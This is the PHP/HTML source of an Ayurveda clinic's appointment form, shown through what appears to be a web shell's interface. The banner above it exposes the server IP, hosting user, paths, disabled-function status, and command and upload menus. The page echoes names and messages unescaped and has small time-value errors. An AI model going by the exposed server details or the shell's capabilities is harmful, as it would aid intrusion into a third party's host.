|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/vssvclinic/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from preview.landinglayouts.com/templates/5652/shop.html by HTTrack Website Copier/3.x [XR&CO'2014], Sun, 03 Dec 2023 07:49:15 GMT -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php include "includes/title.php" ?>
<link rel="stylesheet" href="assets/css/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/all.min.css">
<link rel="stylesheet" href="assets/css/font.css">
<link rel="stylesheet" href="assets/css/swiper.min.css">
<link rel="stylesheet" href="assets/css/style.css">
<link rel="shortcut icon" href="assets/imgs/favicon.png" type="image/x-icon">
</head>
<body>
<!-- pre loader start -->
<!-- <div class="ll-preloader">
<div class="ll-ellipsis">
<span></span>
<span></span>
<span></span>
</div>
</div> -->
<!-- pre loader end -->
<!-- main wrapper start -->
<div class="ll-main-wrapper">
<!-- top header start -->
<?php include "includes/header.php" ?>
<!-- top header end -->
<!-- main header start -->
<!-- main header end -->
<!-- breadcrumb start -->
<div class="ll-breadcrumb">
<div class="container-fluid">
<div class="ll-breadcrumb-box">
<h1>Appointment</h1>
<ul>
<li><a href="index.php">Home</a></li>
<li>Appointment</li>
</ul>
</div>
</div>
</div>
<!-- breadcrumb end -->
<!-- SERVICE start -->
<div class="ll-product">
<div class="container">
<div class="ll-heading">
<img src="assets/imgs/Ayurveda-01.png" alt="image" class="img-fluid"/>
<!-- <h1>Signup</h1> -->
<!-- <h2>We Provide you one of the best Services</h2> -->
</div>
<?php
if(isset($_SESSION['status']) && $_SESSION != ''){
?>
<div class="alert alert-warning alert-dismissible fade show" role="alert">
<?php echo $_SESSION['status']; ?>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
<?php
unset($_SESSION['status']);
}
?>
<!-- signup start -->
<div>
<div>
<div>
<div class="modal-content">
<div class="modal-body">
<h1 class="ll-login-title">Appointment</h1>
<form action="appointment_submit.php" method="POST" id="frmRegister" enctype="multipart/form-data">
<div class="row">
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<select name="department" id='department' class="form-control" required>
<option value="" disabled selected>Select Department</option>
<option value="OPD">OPD</option>
<option value="IPD (Accommodation)">IPD (Accommodation)</option>
<!-- <option value="Other">Other</option> -->
</select>
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<select name="doctor" id='doctor_sec' class="form-control" required>
<option value="" disabled selected> Select Doctor </option>
<?php
$sql = "select * from tbl_admin where type='Docter' and app=2 ";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
while ($sql_row = mysqli_fetch_assoc($sql_res)){
$name = $sql_row['name'];
$docid = $sql_row['id'];
?>
<option value="<?php echo $name; ?>"><?php echo $name; ?></option>
<?php } ?>
</select>
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<input type="date" placeholder="Date" id="fromdateone" name="fromdateone" class="myform" onchange="this.className=(this.value!=''?'has-value':'')">
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<select id="fromtimeone" name="fromtimeone" class="myform" >
<option value="10:00 AM">10:00 AM</option>
<option value="10:15 AM">10:15 AM</option>
<option value="10:30 AM">10:30 AM</option>
<option value="10:45 AM">10:45 AM</option>
<option value="11:00 AM">11:00 AM</option>
<option value="11:15 AM">11:15 AM</option>
<option value="11:30 AM">11:30 AM</option>
<option value="10:45 AM">11:45 AM</option>
<option value="12:00 PM">12:00 PM</option>
<option value="12:15 PM">12:15 PM</option>
<option value="12:30 PM">12:30 PM</option>
<option value="12:45 PM">12:45 PM</option>
<option value="13:00 PM">13:00 PM</option>
<option value="13:15 PM">13:15 PM</option>
<option value="13:30 PM">13:30 PM</option>
<option value="13:45 PM">13:45 PM</option>
<option value="14:00 PM">14:00 PM</option>
<option value="14:15 PM">14:15 PM</option>
<option value="14:30 PM">14:30 PM</option>
<option value="14:45 PM">14:45 PM</option>
<option value="15:00 PM">15:00 PM</option>
<option value="15:15 PM">15:15 PM</option>
<option value="15:30 PM">15:30 PM</option>
<option value="15:45 PM">15:45 PM</option>
<option value="16:00 PM">16:00 PM</option>
<option value="16:15 PM">16:15 PM</option>
<option value="16:30 PM">16:30 PM</option>
<option value="16:45 PM">16:45 PM</option>
<option value="17:00 PM">17:00 PM</option>
<option value="17:15 PM">17:15 PM</option>
<option value="17:30 PM">17:30 PM</option>
<option value="17:45 PM">17:45 PM</option>
<option value="18:00 PM">18:00 PM</option>
<option value="18:15 PM">18:15 PM</option>
<option value="18:30 PM">18:30 PM</option>
<option value="18:45 PM">18:45 PM</option>
<option value="19:00 PM">19:00 PM</option>
<option value="19:15 PM">19:15 PM</option>
<option value="19:30 PM">19:30 PM</option>
<option value="19:45 PM">19:45 PM</option>
<option value="20:00 PM">20:00 PM</option>
</select>
<span style="display: none; color: red;font-size: 12px;float: left;" id='fromtimeone_error'>This is required.</span>
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<input type="text" name="name" placeholder="Enter Name" required="" />
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<!-- <label>Country</label> -->
<input type="text" name="email" placeholder="Enter Email" required="" />
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<!-- <label>State</label> -->
<input type="text" name="phone" placeholder="phone" required="" />
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4">
<div class="form-group">
<select name="disease" id="disease" class="myform" onchange="toggleOtherInput()" required>
<option value="">Select Your Disease</option>
<option value="Joint Disorders">Joint Disorders</option>
<option value="Respiratory Disorders">Respiratory Disorders</option>
<option value="Digestive Disorders">Digestive Disorders</option>
<option value="Mental Health Related Disorders">Mental Health Related Disorders</option>
<option value="Cardiovascular Disorders">Cardiovascular Disorders</option>
<option value="Auto Immune Disorders">Auto Immune Disorders</option>
<option value="Skin Disorders">Skin Disorders</option>
<option value="Lifestyle Disorders">Lifestyle Disorders</option>
<option value="Female Health">Female Health</option>
<option value="Male Health">Male Health</option>
<option value="Others">Others</option>
</select>
<span style="display: none; color: red; font-size: 12px; float: left;" id="disease_error">This field is required.</span>
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4" style="display: none;" id="outerdiva1">
<div class="field-row">
<input type="text" placeholder="Others Disease" id="others_disease" name="others_disease" class="form-group" style="display: none;">
</div>
</div>
</div>
<div class="col-lg-2 col-md-4 col-sm-4">
<div class="ll-login-btn">
<!-- <label>Gender</label> -->
<input type="submit" name="appointment_submit" class="ll-btn" value="Register"/>
</div>
</div>
</form>
<style>
/* Custom styles for select dropdown */
.form-group select {
width: 100%;
height: 49px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 27px;
box-sizing: border-box;
font-size: 16px;
background-color: #fff;
color: #495057;
transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
}
.form-group select:focus {
border-color: #80bdff;
outline: 0;
box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
}
</style>
</div>
</div>
</div>
</div>
</div>
<!-- signup end -->
</div>
</div>
<!-- product end -->
<!-- footer start -->
<?php include "includes/footer.php" ?>
<!-- copyright end -->
</div>
<!-- main wrapper end -->
<script>
function toggleOtherInput() {
var selectElement = document.getElementById("disease");
var otherInput = document.getElementById("others_disease");
var otherDiv = document.getElementById("outerdiva1");
var selectedValue = selectElement.value;
if (selectedValue === "Others") {
otherInput.style.display = "block";
otherDiv.style.display = "block";
document.getElementById("disease_error").style.display = "none";
} else {
otherInput.style.display = "none";
otherDiv.style.display = "none";
}
}
</script>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/SmoothScroll.min.js"></script>
<script src="assets/js/swiper.min.js"></script>
<script src="assets/js/custom.js"></script>
<!-- <script src="assets/js/register.js"></script> -->
<!-- <script type="text/javascript">
function readThumb(input, error) {
document.getElementById(error).style.display = "none";
var filePath = input.value;
var allowedExtensions = /(\.jpg|\.jpeg|\.png)$/i;
if(!allowedExtensions.exec(filePath)){
document.getElementById(error).style.display = "block";
input.value = '';
document.getElementById("thumb").innerHTML = "";
return false;
} else if(input.files && input.files[0]) {
document.getElementById("thumb").innerHTML = "";
var total = input.files.length;
for(i=0; i<total; i++ ) {
var reader = new FileReader();
reader.onload = function(e) {
var newimg = document.createElement("img");
newimg.setAttribute("src", e.target.result);
newimg.setAttribute("height", "70px");
document.getElementById("thumb").appendChild(newimg);
}
reader.readAsDataURL(input.files[i]);
}
}
}
</script>
<script type="text/javascript">
function readImages(input, errorClass) {
document.getElementById(errorClass).style.display = "none";
var len = input.files.length;
var error = false;
for(var i=0; i<len; i++) {
var filePath = input.files[i].name;
var allowedExtensions = /(\.jpg|\.jpeg|\.png)$/i;
if(!allowedExtensions.exec(filePath)){
document.getElementById(errorClass).style.display = "block";
input.value = '';
document.getElementById("img-container").innerHTML = "";
error = true;
break;
}
}
if(error == true) {
return false;
} else if(input.files && input.files[0]) {
document.getElementById("img-container").innerHTML = "";
var total = input.files.length;
for(i=0; i<total; i++ ) {
var reader = new FileReader();
reader.onload = function(e) {
var newimg = document.createElement("img");
newimg.setAttribute("src", e.target.result);
newimg.setAttribute("height", "50px");
document.getElementById("img-container").appendChild(newimg);
}
reader.readAsDataURL(input.files[i]);
}
}
}
</script> -->
</body>
<!-- Mirrored from preview.landinglayouts.com/templates/5652/shop.html by HTTrack Website Copier/3.x [XR&CO'2014], Sun, 03 Dec 2023 07:49:15 GMT -->
</html>